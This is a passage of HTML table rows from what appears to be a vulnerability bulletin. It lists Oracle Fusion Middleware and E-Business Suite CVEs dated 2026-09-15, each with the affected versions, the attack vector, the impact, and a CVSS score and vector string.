&lt;td&gt;Vulnerability in the Oracle Managed File Transfer product of Oracle Fusion Middleware (component: MFT Runtime Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle Managed File Transfer. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Managed File Transfer accessible data as well as unauthorized read access to a subset of Oracle Managed File Transfer accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Managed File Transfer. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83030&quot; target=&quot;_blank&quot;&gt;CVE-2026-83030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Marketing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Marketing. While the vulnerability is in Oracle Marketing, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Marketing accessible data as well as unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83083&quot; target=&quot;_blank&quot;&gt;CVE-2026-83083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Marketing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Marketing. Successful attacks of this vulnerability can result in takeover of Oracle Marketing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83121&quot; target=&quot;_blank&quot;&gt;CVE-2026-83121&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Marketing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Marketing. Successful attacks of this vulnerability can result in takeover of Oracle Marketing. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83082&quot; target=&quot;_blank&quot;&gt;CVE-2026-83082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Marketing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Marketing. While the vulnerability is in Oracle Marketing, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Marketing accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83084&quot; target=&quot;_blank&quot;&gt;CVE-2026-83084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Marketing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Marketing accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83110&quot; target=&quot;_blank&quot;&gt;CVE-2026-83110&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Middleware Common Libraries and Tools&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Middleware Common Libraries and Tools product of Oracle Fusion Middleware (component: Remote Diagnostic Agent). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Middleware Common Libraries and Tools executes to compromise Oracle Middleware Common Libraries and Tools. Successful attacks of this vulnerability can result in takeover of Oracle Middleware Common Libraries and Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83337&quot; target=&quot;_blank&quot;&gt;CVE-2026-83337&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Mobile Application Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Mobile Application Server. Successful attacks of this vulnerability can result in takeover of Oracle Mobile Application Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83462&quot; target=&quot;_blank&quot;&gt;CVE-2026-83462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Mobile Application Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Mobile Application Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Mobile Application Server accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Mobile Application Server. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83461&quot; target=&quot;_blank&quot;&gt;CVE-2026-83461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Mobile Application Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Mobile Application Server. Successful attacks of this vulnerability can result in takeover of Oracle Mobile Application Server. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83464&quot; target=&quot;_blank&quot;&gt;CVE-2026-83464&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Mobile Application Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Application Server. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Mobile Application Server, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Mobile Application Server as well as unauthorized update, insert or delete access to some of Oracle Mobile Application Server accessible data. CVSS 3.1 Base Score 8.2 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83465&quot; target=&quot;_blank&quot;&gt;CVE-2026-83465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Mobile Application Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Mobile Application Server product of Oracle E-Business Suite (component: MWA Terminal Server). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Mobile Application Server executes to compromise Oracle Mobile Application Server. Successful attacks of this vulnerability can result in takeover of Oracle Mobile Application Server. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83463&quot; target=&quot;_blank&quot;&gt;CVE-2026-83463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle One-to-One Fulfillment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Java Server Issues). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment. Successful attacks of this vulnerability can result in takeover of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83169&quot; target=&quot;_blank&quot;&gt;CVE-2026-83169&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle One-to-One Fulfillment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with access to the physical communication segment attached to the hardware where the Oracle One-to-One Fulfillment executes to compromise Oracle One-to-One Fulfillment. Successful attacks of this vulnerability can result in takeover of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83170&quot; target=&quot;_blank&quot;&gt;CVE-2026-83170&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle One-to-One Fulfillment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle One-to-One Fulfillment accessible data as well as unauthorized access to critical data or complete access to all Oracle One-to-One Fulfillment accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83177&quot; target=&quot;_blank&quot;&gt;CVE-2026-83177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle One-to-One Fulfillment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment. While the vulnerability is in Oracle One-to-One Fulfillment, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle One-to-One Fulfillment accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83171&quot; target=&quot;_blank&quot;&gt;CVE-2026-83171&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle One-to-One Fulfillment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle One-to-One Fulfillment accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83173&quot; target=&quot;_blank&quot;&gt;CVE-2026-83173&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Order Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Order Management product of Oracle E-Business Suite (component: Product Diagnostic Tools). Supported versions that are affected are 12.2.4-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Order Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Order Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Order Management accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87157&quot; target=&quot;_blank&quot;&gt;CVE-2026-87157&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Order Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Order Management product of Oracle E-Business Suite (component: Product Diagnostic Tools). Supported versions that are affected are 12.2.5-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Order Management. While the vulnerability is in Oracle Order Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Order Management accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83116&quot; target=&quot;_blank&quot;&gt;CVE-2026-83116&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Order Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Order Management product of Oracle E-Business Suite (component: Enterprise Command Center). The supported version that is affected is V16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Order Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Order Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Order Management accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87158&quot; target=&quot;_blank&quot;&gt;CVE-2026-87158&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Partner Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Partner Management. While the vulnerability is in Oracle Partner Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Partner Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Partner Management accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83111&quot; target=&quot;_blank&quot;&gt;CVE-2026-83111&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Platform Security for Java&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Platform Security for Java product of Oracle Fusion Middleware (component: Centralized Thirdparty Jars). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Platform Security for Java. While the vulnerability is in Oracle Platform Security for Java, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Platform Security for Java. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83020&quot; target=&quot;_blank&quot;&gt;CVE-2026-83020&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Platform Security for Java&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Platform Security for Java product of Oracle Fusion Middleware (component: Centralized Thirdparty Jars). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Platform Security for Java. Successful attacks of this vulnerability can result in takeover of Oracle Platform Security for Java. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82994&quot; target=&quot;_blank&quot;&gt;CVE-2026-82994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Platform Security for Java&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Platform Security for Java product of Oracle Fusion Middleware (component: Centralized Thirdparty Jars). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Oracle Platform Security for Java. Successful attacks of this vulnerability can result in takeover of Oracle Platform Security for Java. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82995&quot; target=&quot;_blank&quot;&gt;CVE-2026-82995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Platform Security for Java&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Platform Security for Java product of Oracle Fusion Middleware (component: Centralized Thirdparty Jars). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Platform Security for Java. Successful attacks of this vulnerability can result in takeover of Oracle Platform Security for Java. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83011&quot; target=&quot;_blank&quot;&gt;CVE-2026-83011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Platform Security for Java&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Platform Security for Java product of Oracle Fusion Middleware (component: Centralized Thirdparty Jars). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Platform Security for Java executes to compromise Oracle Platform Security for Java. Successful attacks of this vulnerability can result in takeover of Oracle Platform Security for Java. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82996&quot; target=&quot;_blank&quot;&gt;CVE-2026-82996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub. Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83444&quot; target=&quot;_blank&quot;&gt;CVE-2026-83444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Product Hub accessible data as well as unauthorized access to critical data or complete access to all Oracle Product Hub accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87153&quot; target=&quot;_blank&quot;&gt;CVE-2026-87153&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Product Hub accessible data as well as unauthorized access to critical data or complete access to all Oracle Product Hub accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
